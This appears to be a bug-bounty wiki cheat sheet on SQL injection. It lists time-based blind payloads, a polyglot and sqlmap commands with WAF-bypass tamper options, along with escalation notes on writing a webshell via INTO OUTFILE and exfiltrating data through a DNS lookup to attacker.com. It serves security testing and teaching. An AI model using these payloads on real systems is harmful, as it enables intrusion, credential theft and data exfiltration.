====== SQL Injection ======
Legacy code and APIs are most vulnerable. Blind/time-based is most common in the wild.
===== Detection =====
Time-based payloads work when error messages are disabled (most common case):
' or sleep(15) and 1=1#
' or sleep(15)#
' union select sleep(15),null#
'%2Bbenchmark(3200,SHA1(1))%2B'
'+BENCHMARK(40000000,SHA1(1337))+'
**Polyglot payload (jhaddix):**
"SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
===== Where to Test =====
* Legacy features -- old code = no parameterized queries
* Both GET and POST -- ''$_GET'' may be safe but ''$_POST'' not
* Web services and APIs -- especially older REST/SOAP endpoints
* Search boxes, filter parameters, ordering/sorting parameters
* HTTP headers: ''User-Agent'', ''X-Forwarded-For'', ''Referer'' (logged to DB)
===== Automation =====
# Parse Burp logs directly
sqlmap -l burp.log --tamper=space2comment --batch
# Target specific URL
sqlmap -u "https://target.com/page?id=1" --dbs
# Bypass WAF blacklists
sqlmap -u "https://target.com/page?id=1" --tamper=space2comment,charunicodeencode
===== Escalation =====
* Learn the database schema: ''INFORMATION_SCHEMA.TABLES''
* Read sensitive data: credentials, API keys, PII
* Write a webshell: ''INTO OUTFILE '/var/www/html/shell.php'''
* OOB exfiltration when blind: DNS lookup via ''LOAD_FILE('//attacker.com/x')''
===== See Also =====
* [[tbhm:06_sqli|TBHM SQLi]]
* [[zseano:escalation|Bug Chaining]]
* [[zseano:start|Methodology Index]]